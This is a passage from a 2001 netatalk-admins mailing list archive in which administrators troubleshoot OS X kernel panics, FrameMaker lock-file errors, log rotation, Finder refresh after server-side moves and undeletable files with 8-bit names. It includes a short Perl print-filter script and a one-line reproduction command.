have all of the tools mentioned above and in INSTALL.txt for developers.
Is there someone who would be willing to help me through this off-list? Or
should I move it to netatalk-dev? If I get up and running as a legit
tester, I promise to write documentation. Seriously.

-Karen

*                                                     *
Karen Swanberg              |                         
Network Admin.              | Error: Sector not found-- 
Dept. of Geology/Geophysics |search behind couch? (Y/N)
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |     Old geeks never die,                    
University of Mn            |         They just revert
Minneapolis, MN 55455       |            to cleartext.
(612) 624-6541              |                         
*                                                     *


From netatalk.administrators-errors@umich.edu  Thu Apr 26 11:20:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA04965
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Apr 2001 11:20:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19899
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Apr 2001 11:20:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA19878
	for netatalk.administrators-members@umich.edu; Thu, 26 Apr 2001 11:20:16 -0400 (EDT)
Received: from local (customer-host-145.yellowspace.net [213.183.5.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA19802
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 11:20:14 -0400 (EDT)
Received: from [213.183.5.146] ([213.183.5.146] verified) by local (Stalker SMTP Server 1.7) with ESMTP id S.0000067917; Thu, 26 Apr 2001 17:15:21 +0200
Mime-Version: 1.0
X-Sender: lopez.on.the.lists@mail.yellowspace.net
Message-Id: <a04310100b70dc3bf0037@[192.168.1.201]>
In-Reply-To: <p05010401b70c812519e4@[192.168.195.62]>
References: <Pine.GSO.4.31.0104151037500.5613-100000@math.ohio-state.edu>
 <987369845.13953.1.camel@comp10574.potsdam.edu>
 <a04310101b70bd87a5315@[192.168.1.201]>
 <p05010401b70c812519e4@[192.168.195.62]>
Date: Thu, 26 Apr 2001 17:16:51 +0200
To: Sak Wathanasin <sw@network-analysis.ltd.uk>
From: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Subject: Re:netatalk 1.5p6, OS X 10.0.1, OS 9...
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset="us-ascii"

At 14:41 Uhr +0100 25.04.2001, Sak Wathanasin wrote:
>In reply to Lorenzo Perone's message of the 25/04/2001 at 04:49 +0200,
>
>>only netatalk 1.4b2+asun2.1.4pre37_test (with -DUSE-FLOCK-LOCKS) gives the impression to work with OSX (few errors, succesful transfers...), but then causes sooner or later Darwin to panic. On the other hand, my OS9 clients keep freezing and caughing with the asun builds....
>
>Well, I'm running RH7.0 (6.2 previously) and not SUSE but netatalk-1.4b2+asun2.1.4-pre39 runs 24 X 7 with no problems. It eeven works with OSX, though I haven't run that for any sustained period. I have a variety of Mac clients, mostly 9.1 but 8.1 and 7.6 as well. I have my servers mounted at startup and they stay mounted until I shutdown. I don't see any signs of "OS9 clients keep freezing and caughing" here, not because of netatalk anyway: when I poke around with Macsbug, I find that the culprit is usually IE5.

Good hint, thanx (IE).  How to do without it, anyway....(?)... M$ seems to like to make the macs look even more unstable than they would be without all those M$ extensions and apps...

Dunno, but by 'caughing' I mean problems in the 'realworld use'. i.e. opening, saving, moving... especially writing to volumes. Would You try pre39 from OSX for some more time (like editing a file in pshop, saving, copying a big file tree to the server and back)? I could trigger the panic on 10.0.1/pre37/SuSE6.3 quite reliably by alt-dragging (ie duplicating) files on the server itself (into a different dir). Note - we have 2771 on those dirs and 0660 on files (if that can be relevant somehow).

I'm not saying that the 1.5 tree doesn't have any problems (and I've been swearing at this tree _much_ more than at asuns when confing & compiling), but it feels like it's getting smoother, and it looks quite a bit faster with the 'new did'.   BUT I'd immediately try post-pre37s if someone could confirm that there is really a way to make it work with OSX without panics (again: sometimes it takes some time b4 they happen...)

BTW: I've seen OSX going lightning fast over netatalk+asun2.1.4-pre37test - especially in things like folder listings. Rescanning a site in golive is a charm.... Unfortunately only in the short moments before darwin panics... (which it seems to do most when writing, rather than reading)  :..-(

:-)

Lorenzo

From netatalk.administrators-errors@umich.edu  Thu Apr 26 15:25:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14047
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Apr 2001 15:25:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04818
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Apr 2001 15:25:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA04798
	for netatalk.administrators-members@umich.edu; Thu, 26 Apr 2001 15:25:11 -0400 (EDT)
Received: from mailoff.mtu.edu (mailoff.mtu.edu [141.219.70.111])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA04758
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 15:25:10 -0400 (EDT)
Received: from mail.mtu.edu (campus4.mtu.edu [141.219.70.7])
	by mailoff.mtu.edu (8.11.2/8.11.2) with ESMTP id f3QJP9X28340
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 15:25:09 -0400 (EDT)
Received: from twix.mm.mtu.edu (twix.mm.mtu.edu [141.219.66.37])
	by mail.mtu.edu (8.9.3/8.9.3) with ESMTP id PAA07070
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 15:25:03 -0400 (EDT)
Received: from valkyrie.mm.mtu.edu (valkyrie.mm.mtu.edu [141.219.66.67])
	by twix.mm.mtu.edu (8.9.3+Sun/8.9.3/mturelay-2.0b) with ESMTP id PAA12192
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 15:25:02 -0400 (EDT)
Date: Thu, 26 Apr 2001 15:23:19 -0400 (EDT)
From: "Dave (Grizz) Glaser" <dsglaser@mtu.edu>
X-Sender: dsglaser@valkyrie.mm.mtu.edu
To: netatalk-admins@umich.edu
Subject: Netatalk FrameMaker Problems
Message-ID: <Pine.SOL.4.21.0104261513510.618-100000@valkyrie.mm.mtu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I have been running netatalk on a Solaris 6 Ultra 5 box. (version netatalk-1.4b2+asun2.1.3) It was running fine, but we were having the standard Error -50 problems. We upgraded our NFS server and have been having some problems:

Now Netatalk is on a Solaris 8 Ultra 60 box. The version is netatalk-1.4b2+asun2.1.4. Since I have installed it, we have been having problems with Frame Maker. If you open a document and try to save it, an error saying that "Some document specific settings could not be saved. All changes were saved. US English Interface." Also, if you close the program and it tries to save you get the same message as well as one saying the someone else may be modifying the file (no one is). It then will not let you log off unless you click 'Don't save'. Frame seems to be the only program causing problems. 

I believe it has something to do with locking files. (the <filename>.lck is made, but I don't beieve it is working correctly). 

Has anyone seen this problem?

Dave




 David S. Glaser  AKA Grizz	|        
 M&M Systems Administrator      | Forget virus scanning. Its all about "re-
 U201 M&ME Building 	  	| education". Preferably in a parking lot with
 Houghton, MI 49931	 	| a tire iron.   - BOFH
 dsglaser@mtu.edu 		|  


From netatalk.administrators-errors@umich.edu  Thu Apr 26 15:43:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14660
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Apr 2001 15:43:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25271
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Apr 2001 15:43:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA25257
	for netatalk.administrators-members@umich.edu; Thu, 26 Apr 2001 15:43:45 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA25201
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 15:43:44 -0400 (EDT)
Received: (qmail 6059 invoked by alias); 26 Apr 2001 19:43:41 -0000
Received: (qmail 6044 invoked by uid 0); 26 Apr 2001 19:43:40 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 26 Apr 2001 19:43:40 -0000
Subject: Re: Netatalk FrameMaker Problems
From: Matthew Keller <kellermg@potsdam.edu>
To: Dave "\(Grizz\)" Glaser <dsglaser@mtu.edu>
Cc: netatalk-admins@umich.edu
In-Reply-To: <Pine.SOL.4.21.0104261513510.618-100000@valkyrie.mm.mtu.edu>
References: <Pine.SOL.4.21.0104261513510.618-100000@valkyrie.mm.mtu.edu>
Content-Type: text/plain
X-Mailer: Evolution/0.10 (Preview Release)
Date: 26 Apr 2001 15:43:30 -0400
Message-Id: <988314210.851.3.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    If these files reside accross an NFS boundry from the Netatalk
    server, you may have to disable NFS locking.

On 26 Apr 2001 15:23:19 -0400, Dave (Grizz) Glaser wrote:
> I have been running netatalk on a Solaris 6 Ultra 5 box. (version netatalk-1.4b2+asun2.1.3) It was running fine, but we were having the standard Error -50 problems. We upgraded our NFS server and have been having some problems:
> 
> Now Netatalk is on a Solaris 8 Ultra 60 box. The version is netatalk-1.4b2+asun2.1.4. Since I have installed it, we have been having problems with Frame Maker. If you open a document and try to save it, an error saying that "Some document specific settings could not be saved. All changes were saved. US English Interface." Also, if you close the program and it tries to save you get the same message as well as one saying the someone else may be modifying the file (no one is). It then will not let you log off unless you click 'Don't save'. Frame seems to be the only program causing problems. 
> 
> I believe it has something to do with locking files. (the <filename>.lck is made, but I don't beieve it is working correctly). 
> 
> Has anyone seen this problem?


-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
Potsdam, NY USA

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Thu Apr 26 15:45:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA14718
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Apr 2001 15:45:59 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA08987
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Apr 2001 15:45:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA08951
	for netatalk.administrators-members@umich.edu; Thu, 26 Apr 2001 15:45:50 -0400 (EDT)
Received: from mailoff.mtu.edu (mailoff.mtu.edu [141.219.70.111])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA08895
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 15:45:49 -0400 (EDT)
Received: from mail.mtu.edu (campus4.mtu.edu [141.219.70.7])
	by mailoff.mtu.edu (8.11.2/8.11.2) with ESMTP id f3QJjoX29953;
	Thu, 26 Apr 2001 15:45:50 -0400 (EDT)
Received: from twix.mm.mtu.edu (twix.mm.mtu.edu [141.219.66.37])
	by mail.mtu.edu (8.9.3/8.9.3) with ESMTP id PAA14225;
	Thu, 26 Apr 2001 15:45:48 -0400 (EDT)
Received: from valkyrie.mm.mtu.edu (valkyrie.mm.mtu.edu [141.219.66.67])
	by twix.mm.mtu.edu (8.9.3+Sun/8.9.3/mturelay-2.0b) with ESMTP id PAA12695;
	Thu, 26 Apr 2001 15:45:48 -0400 (EDT)
Date: Thu, 26 Apr 2001 15:44:05 -0400 (EDT)
From: "Dave (Grizz) Glaser" <dsglaser@mtu.edu>
X-Sender: dsglaser@valkyrie.mm.mtu.edu
To: Matthew Keller <kellermg@potsdam.edu>
cc: netatalk-admins@umich.edu
Subject: Re: Netatalk FrameMaker Problems
In-Reply-To: <988314210.851.3.camel@comp10574.potsdam.edu>
Message-ID: <Pine.SOL.4.21.0104261543490.618-100000@valkyrie.mm.mtu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Nope, these files are on the same machine.

Dave

On 26 Apr 2001, Matthew Keller wrote:

> 
>     If these files reside accross an NFS boundry from the Netatalk
>     server, you may have to disable NFS locking.
> 
> On 26 Apr 2001 15:23:19 -0400, Dave (Grizz) Glaser wrote:
> > I have been running netatalk on a Solaris 6 Ultra 5 box. (version netatalk-1.4b2+asun2.1.3) It was running fine, but we were having the standard Error -50 problems. We upgraded our NFS server and have been having some problems:
> > 
> > Now Netatalk is on a Solaris 8 Ultra 60 box. The version is netatalk-1.4b2+asun2.1.4. Since I have installed it, we have been having problems with Frame Maker. If you open a document and try to save it, an error saying that "Some document specific settings could not be saved. All changes were saved. US English Interface." Also, if you close the program and it tries to save you get the same message as well as one saying the someone else may be modifying the file (no one is). It then will not let you log off unless you click 'Don't save'. Frame seems to be the only program causing problems. 
> > 
> > I believe it has something to do with locking files. (the <filename>.lck is made, but I don't beieve it is working correctly). 
> > 
> > Has anyone seen this problem?
> 
> 
> -- 
> 
> Matthew Keller
> Enterprise System Analyst
> Computing & Technology Services
> Information Services Division
> State University of NY at Potsdam
> Potsdam, NY USA
> 
> http://mattwork.potsdam.edu/
> 

 David S. Glaser  AKA Grizz	|        
 M&M Systems Administrator      | Forget virus scanning. Its all about "re-
 U201 M&ME Building 	  	| education". Preferably in a parking lot with
 Houghton, MI 49931	 	| a tire iron.   - BOFH
 dsglaser@mtu.edu 		|  


From netatalk.administrators-errors@umich.edu  Thu Apr 26 18:43:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA22350
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Apr 2001 18:43:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA22375
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Apr 2001 18:43:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA22357
	for netatalk.administrators-members@umich.edu; Thu, 26 Apr 2001 18:43:05 -0400 (EDT)
Received: from itadmin.com (stgdi6-213-023-028-251.arcor-ip.net [213.23.28.251])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA22312
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 18:43:03 -0400 (EDT)
Received: from marlin.itadmin.com ([192.168.1.1]) by itadmin.com with esmtp (Exim 3.13) id 14suTB-00026O-00; Fri, 27 Apr 2001 00:42:41 +0200
Received: from wahoo ([192.168.1.3]) by marlin.itadmin.com with esmtp (Exim 3.13) id 14suT1-0000qW-00; Fri, 27 Apr 2001 00:42:32 +0200
Date: Fri, 27 Apr 2001 00:42:39 +0200
From: Thorsten Biel <T.Biel@ITadmin.com>
To: "Dave (Grizz) Glaser" <dsglaser@mtu.edu>, netatalk-admins@umich.edu
Subject: Re: Netatalk FrameMaker Problems
Message-ID: <458420.3197320959@[192.168.1.3]>
In-Reply-To: <Pine.SOL.4.21.0104261513510.618-100000@valkyrie.mm.mtu.edu>
X-Mailer: Mulberry/2.0.8 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


yes, here! :) Same version of netatalk, Solaris 8 (64bit), local disk.
The clients are running MacOS 9.0.4 or 9.1. The error is sporadic, I can
save several documents without any problems. But once I get the error,
the only thing that helps is saving the document to the Mac's disk,
quitting Frame and using the Finder to copy the document over to the
Sun.
I haven't been able to correlate any netatalk error messages to the
problem. Seeing that I can copy the document over the net via Finder,
it must be something Frame-specific. It does seem as if it has something
to do with the lock files; sometimes they keep piling up instead of
getting deleted by Frame on exit.
I'm no netatalk expert, but I'd be willing to help any way I can.

-Thorsten


--On Thursday, April 26, 2001 15:23 -0400 "Dave (Grizz) Glaser" 
<dsglaser@mtu.edu> wrote:
> Now Netatalk is on a Solaris 8 Ultra 60 box. The version is
> netatalk-1.4b2+asun2.1.4. Since I have installed it, we have been having
> problems with Frame Maker. If you open a document and try to save it, an
> error saying that "Some document specific settings could not be saved.
> All changes were saved. US English Interface." Also, if you close the
> program and it tries to save you get the same message as well as one
> saying the someone else may be modifying the file (no one is). It then
> will not let you log off unless you click 'Don't save'. Frame seems to be
> the only program causing problems.
>
> I believe it has something to do with locking files. (the <filename>.lck
> is made, but I don't beieve it is working correctly).
>
> Has anyone seen this problem?
>
> Dave



--
Thorsten Biel                                         T.Biel@ITadmin.com
www.ITadmin.com                                  - keep IT under control
ITadmin GmbH       Waldeckstr. 6         D-74372 Sersheim        Germany
mobile: +49 171 9516717    Tel. +49 7042 960640      Fax +49 7042 960641



From netatalk.administrators-errors@umich.edu  Thu Apr 26 19:35:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA24858
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 26 Apr 2001 19:35:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA15362
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 26 Apr 2001 19:35:14 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA15345
	for netatalk.administrators-members@umich.edu; Thu, 26 Apr 2001 19:35:13 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA15310
	for <netatalk-admins@umich.edu>; Thu, 26 Apr 2001 19:35:12 -0400 (EDT)
Received: from ns09-n66-250.de.inter.net ([213.73.66.250] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14svHy-00036h-00
	for netatalk-admins@umich.edu; Fri, 27 Apr 2001 01:35:11 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id BAA00561
	for <netatalk-admins@umich.edu>; Fri, 27 Apr 2001 01:33:30 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: tracking logins
Date: Fri, 27 Apr 2001 01:13:42 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <20010425103659.D24966@cornell.edu> <Pine.A41.4.33.0104250743170.69472-100000@homer30.u.washington.edu> <20010425111244.F24966@cornell.edu>
In-Reply-To: <20010425111244.F24966@cornell.edu>
MIME-Version: 1.0
Message-Id: <01042701332900.00483@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA24858

On Wed, 25 Apr 2001, Cliff Crawford wrote:
> * R Cent <cent@u.washington.edu> menulis:
> > 
> > Thanks for the reply.
> > 
> > I have examined the /var/log/messages,
> > /var/log/messages1,..../var/log/messages4 on my server.  Each
> > contain a week's worth of logins.  My server has been up for
> > about 4 months yet I only have five weeks of log-in records.
> > This doesn't help if I want to see if a user hasn't use his
> > account with in several months.
> > 
> > Does your system keep /var/log/messages farther back in time?
> 
> No, but I haven't needed to go back that far yet :)  The logs are
> rotated by a cron script, so you could just set it to do it monthly
> instead of weekly.

SuSE has an interesting log backup mechanism:
In a cron.daily script several log files are checked if they reached a given size.
If so they are backed-up to <log-file>-<date>.gz files.
They exist until you delete them.

The pathnames, max. sizes, etc. are defined in /etc/logfiles.

I kept all logfiles since I installed linux onto my box.
So I have all log information for over one year accessible.


Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Apr 27 06:31:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA14184
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Apr 2001 06:31:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA11838
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Apr 2001 06:30:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA11829
	for netatalk.administrators-members@umich.edu; Fri, 27 Apr 2001 06:30:55 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA11787
	for <netatalk-admins@umich.edu>; Fri, 27 Apr 2001 06:30:53 -0400 (EDT)
Received: from [172.16.172.241] ([172.16.172.241] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 4311784 for netatalk-admins@umich.edu; Fri, 27 Apr 2001 12:31:00 +0200
Mime-Version: 1.0
X-Sender: rose@mailhost.i.sj.com
Message-Id: <p04330107b70ef99924d9@[172.16.172.241]>
Date: Fri, 27 Apr 2001 12:30:59 +0200
To: netatalk-admins <netatalk-admins@umich.edu>
From: Axel Rose <rose@sj.com>
Subject: 8bit chars, no refresh
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id GAA14184

Hello,

I posted two support requests on sourceforge but got no responses
until now.

May I repeat them here on the mailing list:

-1-
no Finder refresh after Unix move

after moving a file by a Unix script to a shared volume it will not 
become visible if the volume is already opened in the Finder. 
If otoh I close cmd-w the volume and reopen the moved file is 
visible immediately. 

scenario: 
pap print 
lpd is configured with :if=<script>: 
<script> moves stdin to a temporary location 
PostScript file is distilled with GhostScript "ps2pdf" 
script moves ready-made PDF to shared location 
now Macs have to wait ages or reopen the volume 

I tried a "touch" on the created files but without success. 

My sample lpd if follows: 
#!/usr/local/bin/perl -w 

my $out = "/tmp/psout$$.ps"; 
open( O, ">$out" ) || die "can't create '$out'\n$!\n"; 
print O while(<STDIN>); 
close O; 

my $tmp = "/tmp/pdf/psout.$$.pdf"; 
my $pdf = "/share/pdf/psout$$.pdf"; 
system( "/usr/local/bin/ps2pdf13 -dPDFSettings=/prepress $out $tmp" ); 
rename( $tmp, $pdf ); 
system( "chmod 777 $pdf" ); 
exit 0; 

Is there a configuration parameter somwhere? 
Is there a workaround to notify Macs of changes in the server Desktop? 
(I'm used to Helios EtherShare where I apply a special move command 
or a Desktop rebuild) 


my system: netatalk-1.5pre6, RH 7.0 


-2-

can't delete files if 8bit chars

I can reproduce the following error on two different 
RedHat 7.0 systems running a fresh install of 1.5-pre6: 

Files with a filename containing 8bit chars can't be 
deleted from the Mac side. 

To reproduce: 
$ perl -e '$file="\212"; open(F,">/share/pdf/$file") or 
die; close F;' 

where /share/pdf is my shared volume 

You will see a file "ä" on the server which can't be 
deleted from the Mac. The Finder will complain and not 
offer a workaround.

---


I would be very grateful for help regarding those issues.


Best regards


Axel Rose

----------------------------------------------------------------------
Axel Rose, Springer & Jacoby Digital GmbH & Co. KG, mailto:rose@sj.com
  pub PGP key 1024/A21CB825 E0E4 BC69 E001 96E9  2EFD 86CA 9CA1 AAC5
  "... denn alles, was entsteht, ist wert, daß es zugrunde geht ..."

From netatalk.administrators-errors@umich.edu  Fri Apr 27 07:39:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA15533
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Apr 2001 07:39:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02697
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Apr 2001 07:39:34 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA02684
	for netatalk.administrators-members@umich.edu; Fri, 27 Apr 2001 07:39:33 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA02652
	for <netatalk-admins@umich.edu>; Fri, 27 Apr 2001 07:39:32 -0400 (EDT)
Received: from [172.16.172.241] ([172.16.172.241] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 4312222 for netatalk-admins@umich.edu; Fri, 27 Apr 2001 13:39:30 +0200
Mime-Version: 1.0
X-Sender: rose@mailhost.i.sj.com
Message-Id: <p0433010db70f0996e688@[172.16.172.241]>
In-Reply-To: <3AE950EC.487D53F2@euc.de>
References: <p04330107b70ef99924d9@[172.16.172.241]>
 <3AE950EC.487D53F2@euc.de>
Date: Fri, 27 Apr 2001 13:39:29 +0200
To: netatalk-admins <netatalk-admins@umich.edu>
From: Axel Rose <rose@sj.com>
Subject: Re: 8bit chars, no refresh
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id HAA15533

Um 12:58 Uhr +0200 27.04.2001, schrieb Mac Conin:
>the first is imho not resolvable. This depends on how a refresh
>of the directories content is initiated.

The commercial products have no problem with this.
I wonder how this works then.

>touch ä
>chmod 755 ä
>chgrp to users or any you want to
>an then the client is capable of deleting the file.

It's not an permission problem.
As "root" I issued
chmod 777 *
checked with ls -l
permissions are set

Still the Mac says
"ä" kann nicht in den papierkorb bewegt
werden, weil das Objekt nicht gefunden wurde.

("ä" can't be moved to the trash because the
object can't be found)

A special bug with my system configuration or
simply because the file was created from Unix?


Axel

From netatalk.administrators-errors@umich.edu  Fri Apr 27 07:49:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA15743
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 27 Apr 2001 07:49:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA26161
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 27 Apr 2001 07:49:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA26150
	for netatalk.administrators-members@umich.edu; Fri, 27 Apr 2001 07:49:21 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA26130
	for <netatalk-admins@umich.edu>; Fri, 27 Apr 2001 07:49:19 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id NAA22328;
	Fri, 27 Apr 2001 13:44:23 +0200
Message-ID: <3AE95B99.361073@euc.de>
Date: Fri, 27 Apr 2001 13:44:25 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Axel Rose <rose@sj.com>
CC: netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: 8bit chars, no refresh
References: <p04330107b70ef99924d9@[172.16.172.241]>
	 <3AE950EC.487D53F2@euc.de> <p0433010db70f0996e688@[172.16.172.241]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id HAA15743

Hmm,

that depends maybe on how you've set the /etc/atalk/AppleVolumes.default
or in the users home directory the .AppleVolumes files.

look at a file generated from a mac on the server.
Does it look like 'ä' or does it a display like :81

Axel Rose wrote:
> 
> Um 12:58 Uhr +0200 27.04.2001, schrieb Mac Conin:
> >the first is imho not resolvable. This depends on how a refresh
> >of the directories content is initiated.
> 
> The commercial products have no problem with this.
> I wonder how this works then.
> 
> >touch ä
> >chmod 755 ä
> >chgrp to users or any you want to
